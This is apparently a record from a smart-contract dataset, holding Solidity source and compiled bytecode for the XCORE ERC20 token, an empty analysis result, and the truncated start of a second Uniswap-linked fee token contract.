require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint receiverCount = _receivers.length;
uint256 amount = _value.mul(uint256(receiverCount));
/* require(receiverCount > 0 && receiverCount <= 20); */
require(receiverCount > 0);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < receiverCount; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract XCOREToken is CappedToken, PausableToken, BurnableToken {
string public constant name = "XCORE";
string public constant symbol = "XCORE";
uint8 public constant decimals = 18;
uint256 private constant TOKEN_CAP = 1000* (10 ** uint256(decimals));
uint256 private constant TOKEN_INITIAL = 1000 * (10 ** uint256(decimals));
function XCOREToken() public CappedToken(TOKEN_CAP) {
totalSupply_ = TOKEN_INITIAL;
balances[msg.sender] = TOKEN_INITIAL;
emit Transfer(address(0), msg.sender, TOKEN_INITIAL);
paused = false;
}
}
|
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012d57806306fdde031461015a578063095ea7b3146101e857806318160ddd1461024257806323b872dd1461026b578063313ce567146102e4578063355274ea146103135780633f4ba83a1461033c57806340c10f191461035157806342966c68146103ab5780635c975abb146103ce57806366188463146103fb57806370a08231146104555780637d64bcb4146104a257806383f12fec146104cf5780638456cb591461054a5780638da5cb5b1461055f57806395d89b41146105b4578063a9059cbb14610642578063d73dd6231461069c578063dd62ed3e146106f6578063f2fde38b14610762575b600080fd5b341561013857600080fd5b61014061079b565b604051808215151515815260200191505060405180910390f35b341561016557600080fd5b61016d6107ae565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ad578082015181840152602081019050610192565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f357600080fd5b610228600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e7565b604051808215151515815260200191505060405180910390f35b341561024d57600080fd5b610255610817565b6040518082815260200191505060405180910390f35b341561027657600080fd5b6102ca600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610821565b604051808215151515815260200191505060405180910390f35b34156102ef57600080fd5b6102f7610853565b604051808260ff1660ff16815260200191505060405180910390f35b341561031e57600080fd5b610326610858565b6040518082815260200191505060405180910390f35b341561034757600080fd5b61034f61085e565b005b341561035c57600080fd5b610391600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061091e565b604051808215151515815260200191505060405180910390f35b34156103b657600080fd5b6103cc60048080359060200190919050506109cf565b005b34156103d957600080fd5b6103e1610b87565b604051808215151515815260200191505060405180910390f35b341561040657600080fd5b61043b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b9a565b604051808215151515815260200191505060405180910390f35b341561046057600080fd5b61048c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bca565b6040518082815260200191505060405180910390f35b34156104ad57600080fd5b6104b5610c12565b604051808215151515815260200191505060405180910390f35b34156104da57600080fd5b610530600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050610cda565b604051808215151515815260200191505060405180910390f35b341561055557600080fd5b61055d610f74565b005b341561056a57600080fd5b610572611035565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105bf57600080fd5b6105c761105b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106075780820151818401526020810190506105ec565b50505050905090810190601f1680156106345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561064d57600080fd5b610682600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611094565b604051808215151515815260200191505060405180910390f35b34156106a757600080fd5b6106dc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110c4565b604051808215151515815260200191505060405180910390f35b341561070157600080fd5b61074c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110f4565b6040518082815260200191505060405180910390f35b341561076d57600080fd5b610799600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061117b565b005b600360149054906101000a900460ff1681565b6040805190810160405280600581526020017f58434f524500000000000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff1615151561080557600080fd5b61080f8383611252565b905092915050565b6000600154905090565b6000600560009054906101000a900460ff1615151561083f57600080fd5b61084a848484611344565b90509392505050565b601281565b60045481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ba57600080fd5b600560009054906101000a900460ff1615156108d557600080fd5b6000600560006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097c57600080fd5b600360149054906101000a900460ff1615151561099857600080fd5b6004546109b0836001546116fe90919063ffffffff16565b111515156109bd57600080fd5b6109c7838361171c565b905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a1e57600080fd5b339050610a72826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ac98260015461190290919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600560009054906101000a900460ff1681565b6000600560009054906101000a900460ff16151515610bb857600080fd5b610bc2838361191b565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7057600080fd5b600360149054906101000a900460ff16151515610c8c57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600080600080600560009054906101000a900460ff16151515610cfc57600080fd5b85519250610d138386611bac90919063ffffffff16565b9150600083111515610d2457600080fd5b600085118015610d725750816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515610d7d57600080fd5b610dce826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b82811015610f6757610e85856000808985815181101515610e3257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808884815181101515610e9657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508581815181101515610eec57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a38080600101915050610e15565b6001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fd057600080fd5b600560009054906101000a900460ff16151515610fec57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f58434f524500000000000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff161515156110b257600080fd5b6110bc8383611be7565b905092915050565b6000600560009054906101000a900460ff161515156110e257600080fd5b6110ec8383611e06565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111d757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561124f5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561138157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113ce57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561145957600080fd5b6114aa826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561171257fe5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177a57600080fd5b600360149054906101000a900460ff1615151561179657600080fd5b6117ab826001546116fe90919063ffffffff16565b600181905550611802826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561191057fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611a2c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac0565b611a3f838261190290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000806000841415611bc15760009150611be0565b8284029050828482811515611bd257fe5b04141515611bdc57fe5b8091505b5092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c2457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c7157600080fd5b611cc2826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d55826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611e9782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820928a8850636335f6857f6b84f4728f3bd1a56192172aff9218bb45908921ebb50029
|
{"success": true, "error": null, "results": {}}
| 4,396 |
0xb6bd22e6e3b9c25f4e06745242e4056bcf725cb0
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ERC20 is Context, IERC20 {
address private _owner;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _addressA;
address private _addressB;
address private _liquidityAddress;
uint256 private _addressAFeePercentage = 4;
uint256 private _addressBFeePercentage = 4;
uint256 private _liquidityFeePercentage = 2;
uint256 private _maxWalletPercentage = 1;
bool private _trading = false;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping (address => bool) private addressToFeeExcluded;
constructor (string memory __name, string memory __symbol, uint8 __decimals, address addressA, address addressB, address liquidityAddress) {
_name = __name;
_symbol = __symbol;
_decimals = __decimals;
_addressA = addressA;
_addressB = addressB;
_liquidityAddress = liquidityAddress;
_mint(msg.sender, 500000000000000 * (10 ** __decimals));
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_owner = msg.sender;
addressToFeeExcluded[_owner] = true;
}
receive() external payable {}
//////////
// Getters
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function getAddressA() public view returns(address) {
return _addressA;
}
function getAddressB() public view returns(address) {
return _addressB;
}
function getLiquidityAddress() public view returns(address) {
return _liquidityAddress;
}
function getAddressAFeePercentage() public view returns(uint256) {
return _addressAFeePercentage;
}
function getAddressBFeePercentage() public view returns(uint256) {
return _addressBFeePercentage;
}
function getLiquidityFeePercentage() public view returns(uint256) {
return _liquidityFeePercentage;
}
function getMaxWalletPercentage() public view returns(uint256) {
return _maxWalletPercentage;
}
function isTradingEnabled() public view returns(bool) {
return _trading;
}
function isAddressFeeExcluded(address account) public view returns(bool)
{
return (addressToFeeExcluded[account]);
}
